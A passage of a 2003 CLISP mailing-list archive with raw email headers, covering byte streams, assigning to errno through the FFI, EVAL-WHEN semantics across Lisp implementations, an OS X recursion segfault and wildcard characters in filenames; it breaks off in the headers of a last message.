En conformité avec la loi 78-17 du 6/1/78 (CNIL), vous pouvez demander à ne plus figurer sur notre fichier de routage. From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 04 06:34:42 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 191SHA-0005ZA-00 for ; Fri, 04 Apr 2003 06:34:40 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 4 Apr 2003 14:49:22 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 4 Apr 2003 14:49:20 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE036C4E7C@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="ISO-8859-1" Subject: [clisp-list] Re: sequence-[input|output]-stream? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 4 06:36:22 2003 X-Original-Date: Fri, 4 Apr 2003 14:49:15 +0200 Hi, FWIW, the simple-streams topic came up again in comp.lang.lisp. I responded: Message-ID: Duane Rettig writes: > Peter Seibel writes: > > Peter Seibel writes: > > > Is there any way to make a stream like a string-input-stream except on > > > top of a sequence of bytes (octets) rather than a string? I.e. I want > > To answer my own question, I take it from the fact that ACL has an > > extension, make-buffer-output-tream and make-buffer-input-tream, which > > seems to be exactly what I'm looking for that such a thing is not part > > of standard Common Lisp. Do other Lisps have equivalent functionality? > They would if they implemented simple-streams. I've been hoping that > people would start to adopt simple-streams for their implementations, > but so far the only bites I've gotten have been nibbles, I'd wish CLISP would have them as well, because I feel (never actually tried out) that they solve quite some problems[*], but that means yet another rewrite of CLISP's huge streams stuff. A faster solution for the OP's wish may be to make CLISP's EXT:MAKE-STRING-INPUT-STREAM and output sibling accept (SETF STREAM-ELEMENT-TYPE) like CLISP's file/pipe streams and use that, or just provide the equivalent for octet streams under distinct names, or just have READ-CHAR/BYTE check ARRAY-ELEMENT-TYPE of the underlying buffer array: that would be much less new/changed code in CLISP and IMHO easy to add. So best wishes to simple-streams (although I did not understand the lower-layer simple-stream description on Allegro's site, last time I looked at it - hint, hint). Regards, Jorg Hohle Telekom/T-Systems Technology Center [*] E.g. typical CRLF translations issues, well-defined availability of something to read vs. a full-character to read, turning bytes into characters and other issues discussed here now and then. From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 04 07:27:28 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 191T6D-0000Ts-00 for ; Fri, 04 Apr 2003 07:27:26 -0800 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Fri, 4 Apr 2003 15:54:34 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 4 Apr 2003 15:54:34 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE036C4ED4@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] linux FFI: What/where is _IO_stdin/out/err_? -- errno Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 4 07:29:41 2003 X-Original-Date: Fri, 4 Apr 2003 15:54:30 +0200 Hi, could somebody with recent Linux/UNIX knowledge help me with the following: is it legal to assign to errno? E.g. errno = 0; in C application code? Shall CLISP Linux FFI support assignment to errno? On a (Suse)Linux box, I found /usr/include/errno.h /* Declare the `errno' variable, unless it's defined as a macro by bits/errno.h. This is the case in GNU, where it is a per-thread variable. This redeclaration using the macro still works, but it And in /usr/include/bits/errno.h /* Function to get address of global `errno' variable. */ extern int *__errno_location (void) __THROW __attribute__ ((__const__)); # if !defined _LIBC || defined _LIBC_REENTRANT /* When using threads, errno is a per-thread value. */ # define errno (*__errno_location ()) Thus, printf("%d",errno); works. But such a #define does not work with errno=x; bits/errno.h goes on: # if defined _LIBC /* We wouldn't need a special macro anymore but it is history. */ # define __set_errno(val) (*__errno_location ()) = (val) Is there some C compiler magic to expand errno=x into __set_errno(x)? Given this, could somebody explain to me how bindings/linux.lisp (def-c-var errno (:type ffi:int)) can possibly work, since this expands to register_foreign_variable(&errno,"errno",0,sizeof(errno)); Is &errno (i.e. the address of a value returned by a function!) well-defined? I'd say: no. Is that just some more C compiler errno hacks? BTW, in order not to have to revisit this area the day CLISP would have threads, linux:errno has to become a symbol-macro which expands to a FFI call. (def-call-out __errno_location (:arguments) (:return-type (c-ptr int))) (define-symbol-macro errno (linux:__errno_location)) But that does not support (setf linux:errno x). Thanks, Jorg Hohle. From sds@gnu.org Fri Apr 04 08:10:06 2003 Received: from out005pub.verizon.net ([206.46.170.143] helo=out005.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 191TlW-0004It-00 for ; Fri, 04 Apr 2003 08:10:06 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out005.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030404160959.XKOM12889.out005.verizon.net@loiso.podval.org>; Fri, 4 Apr 2003 10:09:59 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h34GBfTx005777; Fri, 4 Apr 2003 11:11:41 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h34GBe2H005773; Fri, 4 Apr 2003 11:11:40 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Christophe Rhodes Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Current CVS observations References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 111 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out005.verizon.net from [151.203.42.128] at Fri, 4 Apr 2003 10:09:58 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 4 08:12:36 2003 X-Original-Date: 04 Apr 2003 11:11:40 -0500 > * In message > * On the subject of "Re: [clisp-list] Re: Current CVS observations" > * Sent on Fri, 04 Apr 2003 09:50:38 +0100 > * Honorable Christophe Rhodes writes: > > > (defvar *collector*) > > (let ((forms nil)) > > (dolist (c '(nil (:compile-toplevel))) > > (dolist (l '(nil (:load-toplevel))) > > (dolist (x '(nil (:execute))) > > (push `(eval-when (,@c ,@l ,@x) > > (push '(,@c ,@l ,@x) *collector*)) > > forms)))) > > (dolist (c '(nil (:compile-toplevel))) > > (dolist (l '(nil (:load-toplevel))) > > (dolist (x '(nil (:execute))) > > (push `(let () (eval-when (,@c ,@l ,@x) > > (push '(let ,@c ,@l ,@x) *collector*))) > > forms)))) > > (with-open-file (o "eval-when-test.lisp" :direction :output > > :if-exists :supersede) > > (dolist (f forms) > > (prin1 f o) > > (terpri o))) > > (let ((*collector* nil)) > > (load "eval-when-test.lisp") > > (print *collector*)) > > LOAD of source implies that the relevant top-level regime is :EXECUTE. > Therefore, for the EVAL-WHEN forms at toplevel, only those > combinations with :EXECUTE in the situations will be executed, so this > list starts with those toplevel forms with :EXECUTE. For the > EVAL-WHEN forms not at top level, their execution on EVAL/LOAD is > again controlled by :EXECUTE, so again only those forms with :EXECUTE > in their situations will be executed, so the final list is: > > ((:execute) > (:load-toplevel :execute) > (:compile-toplevel :execute) > (:compile-toplevel :load-toplevel :execute) > (let :execute) > (let :load-toplevel :execute) > (let :compile-toplevel :execute) > (let :compile-toplevel :load-toplevel :execute)) CMUCL: ((:load-toplevel) (:load-toplevel :execute) (:compile-toplevel :load-toplevel) (:compile-toplevel :load-toplevel :execute) (let :execute) (let :load-toplevel :execute) (let :compile-toplevel :execute) (let :compile-toplevel :load-toplevel :execute)) either your analysis is incorrect, or CMUCL is faulty too. > > (let ((*collector* nil)) > > (compile-file "eval-when-test.lisp") > > (print *collector*)) > > ((:compile-toplevel) > (:compile-toplevel :execute) > (:compile-toplevel :load-toplevel) > (:compile-toplevel :load-toplevel :execute)) no contest. > > (let ((*collector* nil)) > > (load (compile-file-pathname "eval-when-test.lisp")) > > (print *collector*))) > > ((:load-toplevel) > (:load-toplevel :execute) > (:compile-toplevel :load-toplevel) > (:compile-toplevel :load-toplevel :execute) > (let :execute) > (let :load-toplevel :execute) > (let :compile-toplevel :execute) > (let :compile-toplevel :load-toplevel :execute)) CMUCL & CLISP: ((:execute) (:load-toplevel :execute) (:compile-toplevel :execute) (:compile-toplevel :load-toplevel :execute) (let :execute) (let :load-toplevel :execute) (let :compile-toplevel :execute) (let :compile-toplevel :load-toplevel :execute))) is it possible that you are confusing :execute and :load-toplevel? > > I would appreciate it if you could raise this issue on c.l.l so that we > > could get an authoritative answer that would close the discussion. > > I guess cll could get involved, but is there something in the above > that isn't clear? The relevant passages from the CLHS are the > EVAL-WHEN Special Operator page and section 3.2.3 (and 3.2.3.1, though > I dunno if that isn't a bit confusing -- the cases above don't need > 3.2.3.1 to be explained; the difficult ones involve nested eval-whens). this whole thing is confusing enough, IMNSHO. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Only adults have difficulty with child-proof caps. From sds@gnu.org Fri Apr 04 08:27:28 2003 Received: from out006pub.verizon.net ([206.46.170.106] helo=out006.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 191U2J-0000T1-00 for ; Fri, 04 Apr 2003 08:27:27 -0800 Received: from loiso.podval.org ([151.203.42.128]) by out006.verizon.net (InterMail vM.5.01.05.27 201-253-122-126-127-20021220) with ESMTP id <20030404162721.YPLJ15325.out006.verizon.net@loiso.podval.org>; Fri, 4 Apr 2003 10:27:21 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.7/8.12.6) with ESMTP id h34GT3Tx006036; Fri, 4 Apr 2003 11:29:03 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.7/8.12.7/Submit) id h34GT2sv006032; Fri, 4 Apr 2003 11:29:02 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] linux FFI: What/where is _IO_stdin/out/err_? -- errno References: <9F8582E37B2EE5498E76392AEDDCD3FE036C4ED4@G8PQD.blf01.telekom.de> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE036C4ED4@G8PQD.blf01.telekom.de> Message-ID: Lines: 52 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH at out006.verizon.net from [151.203.42.128] at Fri, 4 Apr 2003 10:27:20 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 4 08:31:55 2003 X-Original-Date: 04 Apr 2003 11:29:02 -0500 > * In message <9F8582E37B2EE5498E76392AEDDCD3FE036C4ED4@G8PQD.blf01.telekom.de> > * On the subject of "[clisp-list] linux FFI: What/where is _IO_stdin/out/err_? -- errno" > * Sent on Fri, 4 Apr 2003 15:54:30 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > is it legal to assign to errno? > E.g. errno = 0; in C application code? yes, absolutely. > Shall CLISP Linux FFI support assignment to errno? yes, absolutely. > On a (Suse)Linux box, I found > /usr/include/errno.h > /* Declare the `errno' variable, unless it's defined as a macro by > bits/errno.h. This is the case in GNU, where it is a per-thread > variable. This redeclaration using the macro still works, but it > > And in /usr/include/bits/errno.h > /* Function to get address of global `errno' variable. */ > extern int *__errno_location (void) __THROW __attribute__ ((__const__)); > > # if !defined _LIBC || defined _LIBC_REENTRANT > /* When using threads, errno is a per-thread value. */ > # define errno (*__errno_location ()) > > Thus, printf("%d",errno); works. > But such a #define does not work with errno=x; why not?! (*foo()) = 10; will write 10 into the memory area pointed to by the return value of foo(). > BTW, in order not to have to revisit this area the day CLISP would > have threads, linux:errno has to become a symbol-macro which expands > to a FFI call. > (def-call-out __errno_location (:arguments) (:return-type (c-ptr int))) > (define-symbol-macro errno (linux:__errno_location)) > But that does not support (setf linux:errno x). se we should add a (setf linux:errno) macro or function. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux I want Tamagochi! -- What for? Your pet hamster is still alive! From kaz@footprints.net Fri Apr 04 08:32:40 2003 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 191U6r-0001b5-00 for ; Fri, 04 Apr 2003 08:32:09 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 191U6L-0000QZ-00; Fri, 04 Apr 2003 08:31:37 -0800 From: Kaz Kylheku To: "Hoehle, Joerg-Cyril" cc: clisp-list@lists.sourceforge.net In-Reply-To: <9F8582E37B2EE5498E76392AEDDCD3FE036C4ED4@G8PQD.blf01.telekom.de> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: linux FFI: What/where is _IO_stdin/out/err_? -- errno Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 4 08:38:27 2003 X-Original-Date: Fri, 4 Apr 2003 08:31:37 -0800 (PST) On Fri, 4 Apr 2003, Hoehle, Joerg-Cyril wrote: > Hi, > > could somebody with recent Linux/UNIX knowledge help me with the following: > > is it legal to assign to errno? > E.g. errno = 0; in C application code? Yes. In fact, it is unavoidable in certain correct, portble programming practices. Some ANSI C library functions indicate failure, and may set errno. The only way to know whether they had any effect on errno is to assign zero to it before, and then checking for a nonzero value after failure in the function is detected. ANSI C only defines the errors EDOM and ERANGE; so the above trick is needed in conjunction with, for instance, streams. > Shall CLISP Linux FFI support assignment to errno? In Meta-CVS, errno is a symbol macro that expands to (get-errno). (setf (get-errno)) works via a set-errno function. The accessors get-errno and set-errno are foreign functions that do the work in C. > /* When using threads, errno is a per-thread value. */ > # define errno (*__errno_location ()) > > Thus, printf("%d",errno); works. > But such a #define does not work with errno=x; Yes it does. It's deliberately designed that way. (*_errno_location()) = x; /* no problem */ you are dereferencing the pointer returned by the function to create an lvalue (assignable place) that designates the location. It's like a setf-able place in Lisp. From csr21@cam.ac.uk Fri Apr 04 08:34:52 2003 Received: from gold.csi.cam.ac.uk ([131.111.8.12]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 191U8y-0001zE-00 for ; Fri, 04 Apr 2003 08:34:20 -0800 Received: from zone-7.jesus.cam.ac.uk ([131.111.243.37] helo=lambda.jcn.srcf.net) by gold.csi.cam.ac.uk with esmtp (Exim 4.12) id 191U8S-0005LJ-00 for clisp-list@lists.sourceforge.net; Fri, 04 Apr 2003 17:33:48 +0100 Received: from csr21 by lambda.jcn.srcf.net with local (Exim 3.36 #1 (Debian)) id 191U8R-0005rI-00 for ; Fri, 04 Apr 2003 17:33:47 +0100 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Current CVS observations From: Christophe Rhodes In-Reply-To: (Sam Steingold's message of "04 Apr 2003 11:11:40 -0500") Message-ID: User-Agent: Gnus/5.090015 (Oort Gnus v0.15) Emacs/21.2 References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 4 08:40:08 2003 X-Original-Date: Fri, 04 Apr 2003 17:33:47 +0100 Sam Steingold writes: >> * In message >> * On the subject of "Re: [clisp-list] Re: Current CVS observations" >> * Sent on Fri, 04 Apr 2003 09:50:38 +0100 >> * Honorable Christophe Rhodes writes: >> >> > (defvar *collector*) >> > (let ((forms nil)) >> > (dolist (c '(nil (:compile-toplevel))) >> > (dolist (l '(nil (:load-toplevel))) >> > (dolist (x '(nil (:execute))) >> > (push `(eval-when (,@c ,@l ,@x) >> > (push '(,@c ,@l ,@x) *collector*)) >> > forms)))) >> > (dolist (c '(nil (:compile-toplevel))) >> > (dolist (l '(nil (:load-toplevel))) >> > (dolist (x '(nil (:execute))) >> > (push `(let () (eval-when (,@c ,@l ,@x) >> > (push '(let ,@c ,@l ,@x) *collector*))) >> > forms)))) >> > (with-open-file (o "eval-when-test.lisp" :direction :output >> > :if-exists :supersede) >> > (dolist (f forms) >> > (prin1 f o) >> > (terpri o))) >> > (let ((*collector* nil)) >> > (load "eval-when-test.lisp") >> > (print *collector*)) >> >> LOAD of source implies that the relevant top-level regime is :EXECUTE. >> Therefore, for the EVAL-WHEN forms at toplevel, only those >> combinations with :EXECUTE in the situations will be executed, so this >> list starts with those toplevel forms with :EXECUTE. For the >> EVAL-WHEN forms not at top level, their execution on EVAL/LOAD is >> again controlled by :EXECUTE, so again only those forms with :EXECUTE >> in their situations will be executed, so the final list is: >> >> ((:execute) >> (:load-toplevel :execute) >> (:compile-toplevel :execute) >> (:compile-toplevel :load-toplevel :execute) >> (let :execute) >> (let :load-toplevel :execute) >> (let :compile-toplevel :execute) >> (let :compile-toplevel :load-toplevel :execute)) > > CMUCL: > > ((:load-toplevel) > (:load-toplevel :execute) > (:compile-toplevel :load-toplevel) > (:compile-toplevel :load-toplevel :execute) > (let :execute) > (let :load-toplevel :execute) > (let :compile-toplevel :execute) > (let :compile-toplevel :load-toplevel :execute)) > > either your analysis is incorrect, or CMUCL is faulty too. > >> > (let ((*collector* nil)) >> > (compile-file "eval-when-test.lisp") >> > (print *collector*)) >> >> ((:compile-toplevel) >> (:compile-toplevel :execute) >> (:compile-toplevel :load-toplevel) >> (:compile-toplevel :load-toplevel :execute)) > > no contest. > >> > (let ((*collector* nil)) >> > (load (compile-file-pathname "eval-when-test.lisp")) >> > (print *collector*))) >> >> ((:load-toplevel) >> (:load-toplevel :execute) >> (:compile-toplevel :load-toplevel) >> (:compile-toplevel :load-toplevel :execute) >> (let :execute) >> (let :load-toplevel :execute) >> (let :compile-toplevel :execute) >> (let :compile-toplevel :load-toplevel :execute)) > > CMUCL & CLISP: > > ((:execute) > (:load-toplevel :execute) > (:compile-toplevel :execute) > (:compile-toplevel :load-toplevel :execute) > (let :execute) > (let :load-toplevel :execute) > (let :compile-toplevel :execute) > (let :compile-toplevel :load-toplevel :execute))) > > is it possible that you are confusing :execute and :load-toplevel? The printout I get from CMUCL, verbatim, from pasting in your code, is: ; Loading #p"/usr/home/csr21/eval-when-test.lisp". ((:EXECUTE) (:LOAD-TOPLEVEL :EXECUTE) (:COMPILE-TOPLEVEL :EXECUTE) (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE) (LET :EXECUTE ) (LET :LOAD-TOPLEVEL :EXECUTE) (LET :COMPILE-TOPLEVEL :EXECUTE) (LET :COMPILE-TOPLEVEL :LOAD-TOPLEVEL ; Python version 1.0, VM version Intel x86 on 04 APR 03 05:21:58 pm. ; Compiling: /usr/home/csr21/eval-when-test.lisp 04 APR 03 05:21:58 pm ; Byte Compiling Top-Level Form: ; Byte Compiling Top-Level Form: ; eval-when-test.x86f written. ; Compilation finished in 0:00:00. :EXECUTE)) ((:COMPILE-TOPLEVEL) (:COMPILE-TOPLEVEL :EXECUTE) (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL) (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE)) ; Loading #p"/usr/home/csr21/eval-when-test.x86f". ((:LOAD-TOPLEVEL) (:LOAD-TOPLEVEL :EXECUTE) (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL) (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE) (LET :EXECUTE ) (LET :LOAD-TOPLEVEL :EXECUTE) (LET :COMPILE-TOPLEVEL :EXECUTE) (LET :COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE)) ((:LOAD-TOPLEVEL) (:LOAD-TOPLEVEL :EXECUTE) (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL) (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE) (LET :EXECUTE ) (LET :LOAD-TOPLEVEL :EXECUTE) (LET :COMPILE-TOPLEVEL :EXECUTE) (LET :COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE)) It's a bit hard to read, I grant, but there are four separate lists here. The first, just below ; Loading #p"/usr/home/csr21/eval-when-test.lisp". corresponds to my "load of source" paragraph, and agrees with my analysis. The second, corresponding to the compilation of the source, is uncontroversial and agrees with my analysis. The third and fourth are the same lists, once printed out by the program and once as the return value from the program; again, the presence of :LOAD-TOPLEVEL agrees with my analysis. I don't understand how you've got your results with CMUCL. (for reference, mine is CMU Common Lisp release x86-linux 3.1.7 18d+ 18 January 2003 build 4523 as distributied by Debian Linux. ACL's output is easier to read, as it happens; it says: ,--------------------- |; Loading /usr/home/csr21/eval-when-test.lisp | |((:EXECUTE) (:LOAD-TOPLEVEL :EXECUTE) (:COMPILE-TOPLEVEL :EXECUTE) | (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE) (LET :EXECUTE) | (LET :LOAD-TOPLEVEL :EXECUTE) (LET :COMPILE-TOPLEVEL :EXECUTE) | (LET :COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE)) |;;; Compiling file eval-when-test.lisp |;;; Writing fasl file eval-when-test.fasla16 |Warning: No IN-PACKAGE form seen in | /usr/home/csr21/eval-when-test.lisp. (Allegro Presto will be | ineffective when loading a file having no IN-PACKAGE form.) |;;; Fasl write complete | |((:COMPILE-TOPLEVEL) (:COMPILE-TOPLEVEL :EXECUTE) | (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL) | (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE)) |; Fast loading /usr/home/csr21/eval-when-test.fasla16 | |((:LOAD-TOPLEVEL) (:LOAD-TOPLEVEL :EXECUTE) | (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL) | (:COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE) (LET :EXECUTE) | (LET :LOAD-TOPLEVEL :EXECUTE) (LET :COMPILE-TOPLEVEL :EXECUTE) | (LET :COMPILE-TOPLEVEL :LOAD-TOPLEVEL :EXECUTE)) '--------------------- where I have elided the fourth (return value) list. Cheers, Christophe -- http://www-jcsu.jesus.cam.ac.uk/~csr21/ +44 1223 510 299/+44 7729 383 757 (set-pprint-dispatch 'number (lambda (s o) (declare (special b)) (format s b))) (defvar b "~&Just another Lisp hacker~%") (pprint #36rJesusCollegeCambridge) From clisp@sonnemans.net Fri Apr 04 16:31:48 2003 Received: from ev6.be.wanadoo.com ([195.74.212.41]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 191bb2-0001BY-00 for ; Fri, 04 Apr 2003 16:31:48 -0800 Received: from sonnemans.net (adsl-136-2.wanadoo.be [213.177.136.2]) by ev6.be.wanadoo.com (8.11.1/8.11.1) with ESMTP id 334NM8617078 for ; Wed, 5 Apr 2023 01:22:09 +0200 Mime-Version: 1.0 (Apple Message framework v551) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Frank Sonnemans To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: X-Mailer: Apple Mail (2.551) X-DCC-wanadoo-be-Metrics: ev6 1016; Body=1 Fuz1=1 Fuz2=1 Subject: [clisp-list] Clisp 2.29 segmentation fault on OSX after 120 recursions Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Apr 4 16:32:02 2003 X-Original-Date: Sat, 5 Apr 2003 02:31:43 +0200 I have a somewhat puzzling problem with CLISP 2.29 (installed using FINK) on Mac OSX. My first test function (fact) gives a segmentation fault after about 120 recursions. (fact 100) works, but (fact 120) gives a seg. fault. I tried setting the memory limit higher to 200MB, but the problem remained. Even on the default 2 MB stack I am surprised that it would crash so quickly. Does anyone know the cause / solution of/to this problem. Thanks, Frank From mst@dishevelled.net Mon Apr 07 02:25:38 2003 Received: from static-ctb-203-29-86-109.webone.com.au ([203.29.86.109] helo=mail.telefunken.dyn.ml.org ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 192Ssg-0006AP-00 for ; Mon, 07 Apr 2003 02:25:34 -0700 Received: from thweeble.telefunken.dyn.ml.org (thweeble.telefunken.dyn.ml.org [192.168.1.2]) by mail.telefunken.dyn.ml.org (Postfix) with SMTP id D2ABC8035 for ; Mon, 7 Apr 2003 19:25:29 +1000 (EST) Received: by thweeble.telefunken.dyn.ml.org (sSMTP sendmail emulation); Mon, 7 Apr 2003 19:25:29 +1000 From: Mark Triggs To: clisp-list@lists.sourceforge.net User-Agent: Oort Gnus v0.17 Message-ID: <878yumbqwm.fsf@dishevelled.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Using filenames which contain wildcard characters Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Apr 7 02:26:04 2003 X-Original-Date: Mon, 07 Apr 2003 19:25:29 +1000 Hi everyone, I've hit a bit of a stumbling block with some code I'm working on. I have a file called "hello?.txt" (unix filesystem) that I'm trying to open using (with-open-file ..), but I'm getting the following: [1]> (with-open-file (test "hello?" :direction :input)) *** - wildcards are not allowed here: #P"hello?" Is there some way to escape the '?' character that I'm missing? I've been through the impnotes, and mined the archives of this list and c.l.l but haven't had much luck turning up answers. Relevant details: GNU CLISP 2.30 (released 2002-09-15) (built 3248584626) (memory 3258512962) running Debian unstable. Features: (ASDF MK-DEFSYSTEM COMMON-LISP-CONTROLLER CLX-ANSI-COMMON-LISP CLX CLOS LOOP COMPILER CLISP ANSI-CL COMMON-LISP LISP=CL INTERPRETER SOCKETS GENERIC-STREAMS LOGICAL-PATHNAMES SCREEN FFI UNICODE BASE-CHAR=CHARACTER SYSCALLS PC386 UNIX) Thanks for reading, any help is greatly appreciated. Mark -- Mark Triggs From Joerg-Cyril.Hoehle@t-systems.com Mon Apr 07 07:25:56 2003 Received: from mail1.telekom.de ([62.225.183.235]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 192XZI-0000Dp-00 for ; Mon, 07 Apr 2003 07:25:53 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Mon, 7 Apr 2003 16:23:48 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <23A0CWXQ>; Mon, 7 Apr 2003 16:23:47 +0200 Message-Id: <9F8582E37B2EE5498E76392AEDDCD3FE036C530A@G8PQD.blf01.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: a.bignoli@computer.org MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] Re: Please try out FFI speed improvement Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , 